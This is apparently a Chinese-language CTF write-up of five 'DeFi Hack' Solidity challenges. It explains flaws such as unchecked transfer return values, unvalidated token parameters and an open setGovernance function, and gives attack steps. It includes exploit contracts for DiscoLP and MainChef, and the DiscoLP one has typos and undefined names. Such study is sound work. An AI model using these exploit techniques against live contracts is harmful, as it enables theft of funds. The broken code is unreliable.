DeFi Hack 由于这个是一个题目集,就写在一起,做个写题记录 五个题目的源代码,都在这里了: 源代码:点击
May The Force Be With You 题目要求是:要取得合约中所有的代币
首先还是看代码,合约代码,还是简单,重点还是看向withdrew函数,要撤回合约中的所有代币,
function withdraw(uint256 numberOfShares) external nonReentrant { // Gets the amount of xYODA in existence uint256 totalShares = totalSupply(); // Calculates the amount of YODA the xYODA is worth uint256 what = numberOfShares.mul(yoda.balanceOf(address(this))).div(totalShares); _burn(msg.sender, numberOfShares); yoda.transfer(msg.sender, what); emit Withdraw(msg.sender, what); }
有个tranfer函数,
function transfer(address _to, uint256 _amount) public returns (bool success) { return doTransfer(msg.sender, _to, _amount); }
又是一个doTransfer函数
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } // Do not allow transfer to 0x0 or the token contract itself require((_to != address(0)) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false if (balances[_from] < _amount) { return false; } // First update the balance array with the new value for the address // sending the tokens balances[_from] = balances[_from] - _amount; // Then update the balance array with the new value for the address // receiving the tokens require(balances[_to] + _amount >= balances[_to]); // Check for overflow balances[_to] = balances[_to] + _amount; // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; }
一路看下来,我并没有看见什么地方漏洞,那么又去看看deposit
的函数,能不能免费给我们mint
代币,果然发现了蹊跷,deposit
函数中也存在dotransfer
函数,而且它和transferfrom
函数的表达上还有些歧义,如果dotransfer
函数中,由于aomunt
值太大,会导致deposit
函数中的transferFrom
函数直接返回flase
,那么就意味着我们给合约转账失败,换句话来说就是我们可以免费获得x代币,然后再调用withdrew函数,就能获得大量的代币,把合约掏空。
if (balances[_from] < _amount) { return false; }
攻击思路;首先调用deposit函数,存入数量很大的amount,让合约给我们免费mint x代币。然后再调用withdrew函数,就能获得合约中的所有代币了。
总的来说这个题,就是要要看好使用的哪些函数,而且他们的返回值都是bool类型的,然后再继续的找漏洞,理清合约的逻辑,敢于想象
DiscoLP 题目要求是: DiscoLP 是一个全新的流动性挖矿协议!您可以通过存入一些 JIMBO 或 JAMBO 代币来参与。所有流动性将提供给 JIMBO-JAMBO Uniswap 对。通过向我们提供流动性,您将获得 DISCO 代币作为回报!
您有 1 个 JIMBO 和 1 个 JAMBO,您能获得至少 100 个 DISCO 代币吗?
看向合约代码,只有一个主函数,depositToken,检查它有没有token的计算错误, 发现都是正常的,但是漏了一点
function _joinPool(address _pair, address _token, uint256 _amount, uint256 _minShares) internal returns (uint256 _shares) { if (_amount == 0) return 0; address _router = $.UniswapV2_ROUTER02; address _token0 = Pair(_pair).token0(); address _token1 = Pair(_pair).token1(); address _otherToken = _token == _token0 ? _token1 : _token0; (uint256 _reserve0, uint256 _reserve1,) = Pair(_pair).getReserves(); uint256 _swapAmount = _calcSwapOutputFromInput(_token == _token0 ? _reserve0 : _reserve1, _amount); if (_swapAmount == 0) _swapAmount = _amount / 2; uint256 _leftAmount = _amount.sub(_swapAmount); _approveFunds(_token, _router, _amount); address[] memory _path = new address[](2); _path[0] = _token; _path[1] = _otherToken; uint256 _otherAmount = Router02(_router).swapExactTokensForTokens(_swapAmount, 1, _path, address(this), uint256(-1))[1]; _approveFunds(_otherToken, _router, _otherAmount); (,,_shares) = Router02(_router).addLiquidity(_token, _otherToken, _leftAmount, _otherAmount, 1, 1, address(this), uint256(-1)); require(_shares >= _minShares, "high slippage"); return _shares; }
在主函数中,调用_joinPool函数时,没有对token的来源进行检查,也就是说,只要pair对随意俩个token,就能mint DISCO 我们可以自己创造一个pair,然后赋值大量的token,给原本的流动性池提供该token。这样就能获得奖励的lp币
Uniswap 的设计方式是必须以相同比例存入一对代币,但此功能允许质押单个代币,将价值的一半换成第二个代币。作为回报,授予了 LP 股票。
depositToken函数不仅限于 JIMBO 或 JAMBO 令牌,而是实际上接受任何令牌,没有对参数进行验证。这意味着几乎可以质押任何代币,从而可以凭空铸造 DISCO。虽然原因很简单,但攻击执行需要多个步骤。
攻击合约:
//SPDX-License-Identifier:MIT pragma solidity^0.8.13; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface UniswapV2Factory{ function createpair(address token0,address token1) externals return (address pair); } interface UniswapV2Router { function addLiquidity(address _tokenA, address _tokenB, uint256 _amountADesired, uint256 _amountBDesired, uint256 _amountAMin, uint256 _amountBMin, address _to, uint256 _deadline) external returns (uint256 _amountA, uint256 _amountB, uint256 _liquidity); } interface Discolp{ function depositToken(address _token,uint256 _amount,uint256 _minShares) external; } contract Token is ERC20 { constructor(string memory _name, string memory _symbol) ERC20(_name, _symbol) public { _mint(msg.sender, 2**256 - 1); } } contract Hack { UniswapV2Factory factory; UniswapV2Router router; Discolp discolp; uint256 balance; constructor (address _factory,address _router,address _discolp){ factory = UniswapV2Factory (_factory); router = UniswapV2Router (_router); discolp = Discolp (_discolp); } function pwn() exteranl{ Token usdc =new Token("USDC token","USDC"); usdc.approve(factory,2^256-1); usdc.approve(router,2^256-1); //创建tokenA(JIMBO代币),保证后续swap操作得以通过 ERC20(tokenA).approve(router,2^256-1); //创建JIMBO-usdc对 address pair = factory.create(address (usdc),address(tokenA)); //添加流动性 (uint256 amountA, uint256 amountB, uint256 _shares) = IUniswapV2Router(_router).addLiquidity( address(usdc), address(tokenA), 100000000000 * 10 ** 18, //增加流动性usdc的数量 1 * 10 ** 18,//增加流动性JIMBO数量 1, 1, address(this),//接受lp的地址,合约本身。 2**256 - 1); DiscoLP(instance).depositToken(address(evil), amount, 1); uint256 balance = discolp.balanceOf(address(this)); } }
这就是以上的攻击代码,总结以下,关于流动性的题,首先要看,token的计算,再看逻辑,然后一些检查条件,是否可以再次创建pair,进行套利。
P2PSwapper 题目要求: P2PSwapper 是一款适用于任何资产的超级方便的零信任 P2P DEX! 费用是固定的,所以欢迎鲸鱼! 此外,我们还有一个推荐计划,所有费用都在我们和主要所有者之间平均分配。
我们创建了一个样本交易并为此存入了一些资金。我们希望确保您无法提取分配给我们交易的费用。
您必须从 P2PSwapper 的余额中耗尽所有 WETH 代币。
看向主要的P2P_WETH合约,其实漏洞就遇到过几次了, 这是库合约中的函数
function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); }
function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); }
和之前的一样,就是外部调用,没有进行对token地址的检查,所以可以自己编写一个攻击合约,就是一个token合约,可以进行攻击
FakerDAO 由于已经关网了,这个题要合约实例才能写,个人理解
Main Khinkal Chef 题目要求,还是要消耗合约中所有代币
这个合约,就是前期有点难看懂,其实就是实现了一个流动性池的的奖励机制
漏洞就在于这个函数
// Update governance address by the governance. function setGovernance( address _governance ) public { require(msg.sender == owner() || msg.sender == _governance, "Access denied"); governance = _governance; }
由于传递了参数,这个governance我们就可以改动,一旦成为了,管理员,那么我们就可以自己创建一个流动性池,然后利用自己合约是个代币合约,给原合约转入很多代币,以便后面消除它
攻击合约
//SPDX-Lincense-Identifier:MIT pragma solidity ^0.8.12; import "../levels/MainChef.sol"; contract MainChefAttack { uint pwned; uint tradeId; MainChef target; constructor(MainChef _target) public { target = _target; pwned = 0; } //前期准备工作 function prepare() public { /先成为governance target.setGovernance(address(this)); //将自己合约作为一个新的lp代币,添加到流动池中 target.addToken(IERC20(address(this))); target.deposit(1, 500010319375738048); // (31333333337 + 313337) / 2 * 1e12 / 31333 } function hack() public { target.withdraw(1); } //为了满足原合约对lp代币的一些require,(也就是绕过某些条件) function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) { return true; } function balanceOf(address a) external returns (uint) { return 1e18; } //做一个检查,是否转账成功了 function transfer(address recipient, uint256 amount) public virtual returns (bool) { if(pwned != 0) return true; pwned += 1; target.withdraw(1); return true; } }
个人觉得就是没有注意逻辑性,可以随便更改governance,然后操控权控制在自己手中